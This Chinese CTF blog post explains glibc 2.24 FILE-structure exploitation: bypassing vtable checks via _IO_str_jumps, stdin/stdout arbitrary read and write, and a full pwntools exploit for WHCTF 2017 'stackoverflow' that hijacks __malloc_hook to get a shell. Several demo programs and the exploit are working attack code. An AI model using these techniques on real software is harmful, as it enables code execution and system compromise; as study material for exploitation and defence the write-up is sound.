IO_FILE --glibc2.24

FSOP

在新版本的 glibc 中 (2.24),全新加入了针对 IO_FILE_plus 的 vtable 劫持的检测措施,glibc 会在调用虚函数之前首先检查 vtable 地址的合法性。
如果 vtable 是非法的,那么会引发 abort。
首先会验证 vtable 是否位于_IO_vtable 段中,如果满足条件就正常执行,否则会调用_IO_vtable_check 做进一步检查。
这里的检查使得以往使用 vtable 进行利用的技术很难实现
在glibc中由于对vtable合法性的检查,伪造vtbale的方法不可行了,同时由于FSOP在劫持_IO_list_all后也是伪造vtable表来获得shell,所以这个方法也受到了影响。
但是没有完全不可使用。
之前的利用方法是:通过报错或退出程序,执行fflush,来调用每个FILE中_IO_file_jumps中的_IO_overflow。现在_IO_file_jumps这个vtable会进行检查,但是还有其他vtable是不受检查的:IO_str_jumps 和 IO_wstr_jumps 这两个结构体 可以绕过check。IO_str_jumps 相对简单利用,主要学习这个。

IO_str_jumps 表

pwndbg> p _IO_str_jumps 
$6 = {
  __dummy = 0, 
  __dummy2 = 0, 
  __finish = 0x7ffff7ab28d0 <_IO_str_finish>, <===============
  __overflow = 0x7ffff7ab25b0 <__GI__IO_str_overflow>, <==============fflush调用
  __underflow = 0x7ffff7ab2550 <__GI__IO_str_underflow>, 
  __uflow = 0x7ffff7ab10d0 <__GI__IO_default_uflow>, 
  __pbackfail = 0x7ffff7ab28b0 <__GI__IO_str_pbackfail>, 
  __xsputn = 0x7ffff7ab1130 <__GI__IO_default_xsputn>, 
  __xsgetn = 0x7ffff7ab12b0 <__GI__IO_default_xsgetn>, 
  __seekoff = 0x7ffff7ab2a00 <__GI__IO_str_seekoff>, 
  __seekpos = 0x7ffff7ab1490 <_IO_default_seekpos>, 
  __setbuf = 0x7ffff7ab1360 <_IO_default_setbuf>, 
  __sync = 0x7ffff7ab1710 <_IO_default_sync>, 
  __doallocate = 0x7ffff7ab1500 <__GI__IO_default_doallocate>, 
  __read = 0x7ffff7ab2400 <_IO_default_read>, 
  __write = 0x7ffff7ab2410 <_IO_default_write>, 
  __seek = 0x7ffff7ab23e0 <_IO_default_seek>, 
  __close = 0x7ffff7ab1710 <_IO_default_sync>, 
  __stat = 0x7ffff7ab23f0 <_IO_default_stat>, 
  __showmanyc = 0x7ffff7ab2420 <_IO_default_showmanyc>, 
  __imbue = 0x7ffff7ab2430 <_IO_default_imbue>
}

const struct _IO_jump_t _IO_str_jumps libio_vtable =
{
  JUMP_INIT_DUMMY,
  JUMP_INIT(finish, _IO_str_finish),
  JUMP_INIT(overflow, _IO_str_overflow),
  ......
  }

与_IO_file_jumps调用vtable中的指针是一样的,在FILE结构体成员的指引下,从vtable中调用函数指针,只不过这里我们要调用IO_str_jumps 这个虚表中的指针。

其中主要是利用__overflow 和 __finish 这两个函数的调用。

__finish调用

源代码:

void _IO_str_finish (FILE *fp, int dummy)
{
  if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
    (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);  //call qword ptr [fp+0E8h]  指针函数
  fp->_IO_buf_base = NULL;
  _IO_default_finish (fp, 0);
}

其中_s._free_buffer如下:

      _freeres_buf = 0x0, 
      __pad5 = 0, 
      _mode = 0, 
      _unused2 = '\000' <repeats 19 times>
    }, 
    vtable = 0x7ffff7dd1440 <__GI__IO_file_jumps>
  }, 
  _s = {
    _allocate_buffer = 0x7ffff7dd5520 <_IO_2_1_stderr_>,  
    _free_buffer = 0x7ffff7dd5600 <_IO_2_1_stdout_>  <===========函数调用处  offset = 0xe8
  }
}

上面是FILE_plus结构体,也就是说这个_IO_strfile 是两个结构体的封装。

那么只需绕过if判断即可:

/*别忘了_IO_flush_all_lockp的检查*/
fp->_mode = 0
fp->_IO_write_ptr = 1 
fp->_IO_write_base = 0 

fp->_flags = 0  //绕过
fp->_IO_buf_base = /bin/sh_addr   //参数
fp+0xe8 = system_addr //函数指针
vtable = IO_str_jumps  - 8  //这样本来要调用__overflow 就会调用 __finish

演示

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int winner ( char *ptr);
int main()
{
    char *p1, *p2;
    size_t io_list_all, *top;
    // unsorted bin attack
    p1 = malloc(0x400-16);
    top = (size_t *) ( (char *) p1 + 0x400 - 16);
    top[1] = 0xc01;
    p2 = malloc(0x1000);
    io_list_all = top[2] + 0x9a8;
    top[3] = io_list_all - 0x10;
    // _IO_str_overflow conditions
    char binsh_in_libc[] = "/bin/sh\x00"; // we can found "/bin/sh" in libc, here i create it in stack

    top[0] = 0; //_flags
    top[4] = 0; // write_base
    top[5] = 1; // write_ptr
    top[7] = (size_t)&binsh_in_libc; // buf_base
    // house_of_orange conditions
    top[1] = 0x61;
    top[24] = -1; //mode
    top[27] = 0x7ffff7dd1500 - 8;  //_IO_str_jumps 
    top[29] = (size_t) &winner;

    /* Finally, trigger the whole chain by calling malloc */
    malloc(10);
    return 0;
}
int winner(char *ptr)
{ 
    system(ptr);
    return 0;
}

__overflow 调用

这个相对难一点,源码:

#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
int _IO_str_overflow (_IO_FILE *fp, int c)
{
     int flush_only = c == EOF;
[...]  //这里的判断只要_flags==0直接通关
     pos = fp->_IO_write_ptr - fp->_IO_write_base;
  if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
    {
      if (fp->_flags & _IO_USER_BUF) // not allowed 绕过  _IO_USER_BUF(0x01) 
    return EOF;
      else
    {
      char *new_buf;
      char *old_buf = fp->_IO_buf_base;
      size_t old_blen = _IO_blen (fp);
      _IO_size_t new_size = 2 * old_blen + 100;     //fp->_IO_buf_end = (bin_sh_addr - 100) / 2          
      if (new_size < old_blen)  //绕过
        return EOF;
      new_buf
        = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);  //也是一样的函数指针调用  fp+0xe8 = system_addr
    [...]
}

构造方法:

fp->_mode = 0

fp->_flags = 0
fp->_IO_buf_base = 0
fp->_IO_buf_end = (bin_sh_addr - 100) / 2
fp->_IO_write_base = 0
fp->_IO_write_ptr = (bin_sh_addr - 100) / 2 + 1
fp+0xe0 = system_addr

演示

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int winner ( char *ptr);
int main()
{
    char *p1, *p2;
    size_t io_list_all, *top;
    // unsorted bin attack
    p1 = malloc(0x400-16);
    top = (size_t *) ( (char *) p1 + 0x400 - 16);
    top[1] = 0xc01;
    p2 = malloc(0x1000);
    io_list_all = top[2] + 0x9a8;
    top[3] = io_list_all - 0x10;
    // _IO_str_overflow conditions
    char binsh_in_libc[] = "/bin/sh\x00"; // we can found "/bin/sh" in libc, here i create it in stack

    top[0] = 0; //_flags
    top[4] = 0; // write_base
    top[5] = ((size_t)&binsh_in_libc-100)/2 + 1; // write_ptr
    top[7] = 0; // buf_base
    top[8] = ((size_t)&binsh_in_libc-100)/2; // buf_end
    // house_of_orange conditions
    top[1] = 0x61;

    top[27] = 0x7ffff7dd1500;  //_IO_str_jumps 
    top[28] = (size_t) &winner;

    /* Finally, trigger the whole chain by calling malloc */
    malloc(10);
    return 0;
}
int winner(char *ptr)
{ 
    system(ptr);
    return 0;
}

_IO_str_jumps定位

  • IDA寻找_IO_file_jumps在后面找到_IO_str_****的函数表即可
  • 法二如下:
    IO_file_jumps_offset = libc.sym['_IO_file_jumps']
    IO_str_underflow_offset = libc.sym['_IO_str_underflow']
    for ref_offset in libc.search(p64(IO_str_underflow_offset)):
      possible_IO_str_jumps_offset = ref_offset - 0x20
      if possible_IO_str_jumps_offset > IO_file_jumps_offset:
          print possible_IO_str_jumps_offset
          break

stdin,stdout任意读写

setvbuf

C 库函数 int setvbuf(FILE *stream, char *buffer, int mode, size_t size) 定义流 stream 应如何缓冲。

int setvbuf(FILE *stream, char *buffer, int mode, size_t size)
  • stream – 这是指向 FILE 对象的指针,该 FILE 对象标识了一个打开的流。
  • buffer – 这是分配给用户的缓冲。如果设置为 NULL,该函数会自动分配一个指定大小的缓冲。
  • mode – 这指定了文件缓冲的模式:
    模式 和 描述

    _IOFBF 全缓冲:对于输出,数据在缓冲填满时被一次性写入。对于输入,缓冲会在请求输入且缓冲为空时被填充。
    _IOLBF 行缓冲:对于输出,数据在遇到换行符或者在缓冲填满时被写入,具体视情况而定。对于输入,缓冲会在请求输入且缓冲为空时被填充,直到遇到下一个换行符。
    _IONBF 无缓冲:不使用缓冲。每个 I/O 操作都被即时写入。buffer 和 size 参数被忽略。

  • size –这是缓冲的大小,以字节为单位。

一般常见的是:setvbuf(stdin,0,2,0),setvbuf(stdout,0,2,0) 也就是第三个模式:无缓冲。
设置stdin:

    _IO_read_ptr = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "", 
    _IO_read_end = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "", 
    _IO_read_base = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "", 
    _IO_write_base = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "", 
    _IO_write_ptr = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "", 
    _IO_write_end = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "", 
    _IO_buf_base = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "", 
    _IO_buf_end = 0x7ffff7dd1964 <_IO_2_1_stdin_+132> "", 

设置stdout

    _IO_read_ptr = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "", 
    _IO_read_end = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "", 
    _IO_read_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "", 
    _IO_write_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "", 
    _IO_write_ptr = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "", 
    _IO_write_end = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "", 
    _IO_buf_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "", 
    _IO_buf_end = 0x7ffff7dd26a4 <_IO_2_1_stdout_+132> "", 

所以在关闭缓冲区后除了_IO_buf_end,其他都指向同一地址,_IO_buf_end指向下一个。如果不关闭缓冲区,这些指针一般会指向分配得到的堆地址

这些指针对于IO操作有决定性作用,所以学习一下代表意义:

_IO_buf_base : 缓冲区起始地址
_IO_buf_end  : 缓冲区结束地址
 _IO_read_base : stdin 缓冲起始地址
 _IO_read_end  : stdin 缓冲结束地址
 _IO_write_base : stdout 缓冲起始地址
 _IO_write_end  : stdout 缓冲结束地址

_IO_read_ptr  _IO_write_ptr  : 操作起始地址

stdin—fread任意写

_IO_file_xsgetn:
    /*判断缓冲区是否为空,为空调用_IO_doallocbuf进行初始化*/
    if (fp->_IO_buf_base == NULL) //bypass
[....]
have = fp->_IO_read_end - fp->_IO_read_ptr;
      if (have > 0) //bypass 因为我们最终目的是调用sys_read
      {
          将输入缓冲区中的内容拷贝至目标地址。
      }
[....]
__underflow(_IO_new_file_underflow):
    if (fp->_flags & _IO_NO_READS)  //bypass _IO_NO_READS = 4
    {
        return 
    }
[....]
    if (fp->_IO_read_ptr < fp->_IO_read_end) //bypass
        return *(unsigned char *) fp->_IO_read_ptr;

最终调用:_IO_SYSREAD (fp, fp->_IO_buf_base,fp->_IO_buf_end - fp->_IO_buf_base)    

构造:

  • 设置_IO_buf_base为target_start,_IO_buf_end为target_end(_IO_buf_end-_IO_buf_base要大于0)
  • flag位不能含有4(_IO_NO_READS),_fileno要为0。(最好就直接使用原本的flag)
  • 设置_IO_read_end等于_IO_read_ptr。

演示

#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>

char mybuf[100] = {0}; //0x601100
char leakbuf[100] = "Success!!!!!!!!"; //0x601060

int main(){
    long long *buf_base = 0x7ffff7dd1918;
    long long *buf_end = 0x7ffff7dd1920;
    long long *fileno = 0x7ffff7dd1950;
    long long *read_end = 0x7ffff7dd18f0 , *read_ptr = 0x7ffff7dd18e8;
    setvbuf(stdout,0,2,0);
    setvbuf(stdin,0,2,0);

    char array[100] = {0};
    *buf_base = &mybuf;
    *buf_end = &mybuf + 1;
    *fileno = 0;
    *read_end = *read_ptr = 0;

    scanf("%s",array);

    return 0;
}
结果:
pwndbg> p mybuf 
$2 = 'A' <repeats 12 times>, "\n", '\000' <repeats 86 times> 成功写入全局变量mybuf

其实scanf更简单构造:
我们可以知道它是向fp->_IO_buf_base处写入(fp->_IO_buf_end – fp->_IO_buf_base)长度的数据。
只要我们可以修改_IO_buf_base和_IO_buf_end就可以实现任意位置任意长度的数据写入。

stdout—fwrite任意读写

stdout能将缓冲区数据输出,所以多一个读功能

_IO_write_ptr:_IO_write_ptr和_IO_write_base之间的地址为已使用的缓冲区
_IO_write_ptr和_IO_write_end之间为未使用的缓冲区。

任意写

else if (f->_IO_write_end > f->_IO_write_ptr)
    count = f->_IO_write_end - f->_IO_write_ptr;
if (count > 0)
{
    //把数据拷贝到缓冲区。
}
//他的任意写是基于_IO_new_file_xsputn中将数据复制到缓冲区这一功能能实现的。

构造:_IO_write_ptr为target_s,_IO_write_end为target_e

演示

#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>

char mybuf[100] = {0}; //0x601100
char leakbuf[100] = "Success!!!!!!!!"; //0x601060

int main(){
    long long *write_ptr = 0x7ffff7dd2648;
    long long *write_end = 0x7ffff7dd2650;
    long long *write_base = 0x7ffff7dd2640;
    long long *_fileno = 0x7ffff7dd2690;
    long long *read_end = 0x7ffff7dd2630;
    setvbuf(stdout,0,2,0);
    setvbuf(stdin,0,2,0);

    *write_ptr = &mybuf;
    *write_end = &mybuf + 1;

    printf("%s\n","BBBBBBBBBBBBBA"); 

    return 0;
}
pwndbg> p mybuf 
$3 = 'B' <repeats 13 times>, "A\n", '\000' <repeats 84 times> <==============成功写入mybuf

任意读

fwrite的关键流程:_IO_new_file_xsputn —> _IO_OVERFLOW(_IO_new_file_overflow) —>_IO_do_write

else if (f->_IO_write_end > f->_IO_write_ptr)
    count = f->_IO_write_end - f->_IO_write_ptr;  
if (count > 0)  //bypass 使cont==0 相当于输出缓冲区没有空闲
{
    //把数据拷贝到缓冲区。
}
if (to_do + must_flush > 0)
    {
      if (_IO_OVERFLOW (f, EOF) == EOF)
      [....]

 _IO_OVERFLOW():     
/*_IO_new_file_overflow中有两个对flag位的检查flag位不要包含8和0x800*/
 if (f->_flags & _IO_NO_WRITES) //bypass
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)//bypass
//接下来就会调用:
if (ch == EOF)
    return _IO_do_write (f, f->_IO_write_base,
             f->_IO_write_ptr - f->_IO_write_base);
  return (unsigned char) ch;
 [....] 
 /*在_IO_do_write中还有几个判断需要绕过:*/
if (fp->_flags & _IO_IS_APPENDING)//bypass _IO_IS_APPENDING(0x1000)

else if (fp->_IO_read_end != fp->_IO_write_base) //bypass fp->_IO_read_end = fp->_IO_write_base。

构造:

  • flag位: 不能包含0x8、0x800、0x1000(最好就直接使用原本的flag)
  • _fileno为1
  • _IO_read_end = _IO_write_base = target_s
  • _IO_write_end = _IO_write_ptr=target_e。

演示

#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>

char mybuf[100] = {0}; //0x601100
char leakbuf[100] = "Success!!!!!!!!"; //0x601060

int main(){
    long long *write_ptr = 0x7ffff7dd2648;
    long long *write_end = 0x7ffff7dd2650;
    long long *write_base = 0x7ffff7dd2640;
    long long *fileno = 0x7ffff7dd2690;
    long long *read_end = 0x7ffff7dd2630;
    setvbuf(stdout,0,2,0);
    setvbuf(stdin,0,2,0);
    printf("%s","AAAAAAAAAAAAAAAAAa");
    *fileno = 1;
    *read_end = *write_base = &leakbuf;
    *write_end = *write_ptr = &leakbuf + 1;

    printf("%s\n","BBBBBBBBBBBBBA"); 

    return 0;
}
输出:
AAAAAAAAAAAAAAAAAaSuccess!!!!!!!!BBBBBBBBBBBBBA

本来我是直接printf(“%s\n”,”BBBBBBBBBBBBBA”),但是怎么什么都没输出,然后在修改结构体前先printf一次就行了。

WHCTF 2017 stackoverflow

IDA–关键点

    /*无缓冲*/
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
[....]
  printf("leave your name, bro:");
  read_like(&v1, 0x50);  //内部使用read函数,且未设置字符串末尾截断符,配合printf可以leak stack,leak libc
  printf("worrier %s, now begin your challenge", &v1);
[....]
/*由于设置截断符不是按照size,而是v2,且v2赋值后不再更新,所以相当于一定范围内Null字节写入*/
  v2 = size;
 while ( size > 0x300000 ){
     [....]
 }
 [....]
  *(_BYTE *)(bss_ptr_chunk + v2) = 0;
  return 0LL;    

IO_getc宏的作用是刷新_IO_read_ptr,每次会从输入缓冲区读一个字节数据即将_IO_read_ptr加一,当_IO_read_ptr等于_IO_read_end的时候便会调用read读数据到_IO_buf_base地址中。

这个题目libc版本是2.24的,有个比较特殊的地方:

0x7ffff7dd48e0 <_IO_2_1_stdin_+32>:    0x00007ffff7dd4943    0x00007ffff7dd4943
0x7ffff7dd48f0 <_IO_2_1_stdin_+48>:    0x00007ffff7dd4943    0x00007ffff7dd4943   <========_IO_buf_base
pwndbg> 
0x7ffff7dd4900 <_IO_2_1_stdin_+64>:    0x00007ffff7dd4944    <====_IO_buf_end 0x0000000000000000   
0x7ffff7dd4910 <_IO_2_1_stdin_+80>:    0x0000000000000000    0x0000000000000000

把_IO_buf_base最后一字节覆盖为\x00 就刚好指向_IO_buf_end (0x7ffff7dd4900 ),这样下一次scanf就可以修改_IO_buf_end。

思路

  • printf name时利用stack leak获取libc地址
  • malloc一块很大的内存,这样进行mmap获得的空间会紧邻libc基址
  • 利用null字节写入,使_IO_buf_base指向_IO_buf_end
  • 再次进行scanf就将_IO_buf_end 修改为_malloc_hook+8,并构造payload(尽量不破坏_IO_2_1_stdin_结构体)填充_malloc_hook为onegadget

EXP

#+++++++++++++++++++stackoverflow.py++++++++++++++++++++
# -*- coding:utf-8 -*-                           
#Author: Squarer
#Time: Fri Nov  6 11:38:15 CST 2020
#+++++++++++++++++++stackoverflow.py++++++++++++++++++++
from pwn import*

#context.log_level = 'debug'
context.arch = 'amd64'

elf = ELF('./stackoverflow')
libc = ELF('/glibc/x64/2.24/lib/libc-2.24.so')
#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')


sh = process('./stackoverflow')
#sh = remote('ip',port)
leak_libc = 'A'*(0x30 - 1)
sh.sendlineafter('leave your name, bro:',leak_libc)

sh.recvuntil('\n')
libc_addr = u64(sh.recv(6).ljust(8,'\x00')) - libc.sym['_IO_file_jumps']
IO_stdin = libc_addr + libc.sym['_IO_2_1_stdin_']
malloc_hook = libc_addr + libc.sym['__malloc_hook']
onegad = [0x3f4b6,0x3f50a,0xd6635]
onegadget = libc_addr + onegad[2]
log.success("libc_addr:" + str(hex(libc_addr)))
log.success("IO_stdin:"+str(hex(IO_stdin)))
log.success('malloc_hook:'+str(hex(malloc_hook)))
log.success('onegadget:'+str(hex(onegadget)))

sh.sendlineafter('trigger stackoverflow: ','5871848')
sh.sendlineafter('trigger stackoverflow: ','2097152')
offset = 56
target_addr = IO_stdin + offset
ptr2_mma = libc_addr - 0x201000 + 0x10
offi_mma_tar = target_addr - ptr2_mma
log.success('target_addr:'+str(hex(target_addr)))
log.success("ptr2_mma:"+str(hex(ptr2_mma)))
log.success('offi_mma_tar:'+str(hex(offi_mma_tar)))

sh.sendlineafter('ropchain: ','AAA')
#gdb.attach(sh,'b*0x00000000004008E9')
sh.sendafter('trigger stackoverflow: ',p64(malloc_hook+8))
sh.sendafter('ropchain: ','AAA')
for i in range(7):  #这是IO_getc宏的原因,调试
    sh.sendafter('ropchain: ','X')

#gdb.attach(sh)

payload = p64(malloc_hook+8) + p64(0)
payload += p64(0)*5 + p64(0xffffffffffffffff)
payload += p64(0xa000000) + p64(libc_addr+0x39a770) #local off
payload += p64(0xffffffffffffffff) + p64(0)
payload += p64(libc_addr+0x3989a0) + p64(0)*3
payload += p64(0xffffffff) + p64(0)*2
payload += p64(libc_addr + libc.sym['_IO_file_jumps'])
payload += p64(0) * 0x2a
payload += p64(0x400A23)
#gdb.attach(sh,'b*0x0000000000400888')
sh.sendafter('trigger stackoverflow: ',payload)

sh.interactive()

IO攻击常见问题

在构造好各个结构体之后,触发攻击不一定能获得shell,一般的:

必须要libc的低32位地址为负时,攻击才会成功。
在fflush函数的检查里,它第二步才是跳转,第一步的检查,在arena里的伪造file结构中这两个值,绝对值一定可以通过,那么就会直接执行虚表函数。所以只有为负时,才会check失效

参考:
https://elixir.bootlin.com/glibc/glibc-2.24/source
https://www.anquanke.com/post/id/168802#h3-6
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/io_file/exploit-in-libc2.24-zh/#_2
https://shizhongpwn.github.io/2020/02/10/io-gong-ji-zong-jie/
https://b0ldfrev.gitbook.io/note/pwn/iofile-li-yong-si-lu-zong-jie
https://xz.aliyun.com/t/5853#toc-5(推荐
https://www.anquanke.com/post/id/194577#h3-3(推荐)


  转载请注明: Squarer IO_FILE --glibc2.24

 上一篇
2019_realloc_magic--realloc与tcache 2019_realloc_magic--realloc与tcache
前言2019_realloc_magic是在2.27环境下的一个堆题,里面只用到了realloc函数进行堆分配,所以先来深入了解realloc函数 realloc–2.27功能是:重新调整之前调用 malloc 或 calloc或其他堆函数
下一篇 
IIO_FILE 漏洞利用 IIO_FILE 漏洞利用
伪造vtable–2.23在glibc2.23中虽然vtable所在的libc段不可写,但是没有像2.24那样加入对vtable的检查机制,所以利用也不是很难。在2.23版本下用任意写环境对vtable表进行攻击已经不不适用了,所以只能采取
2020-11-04
  目录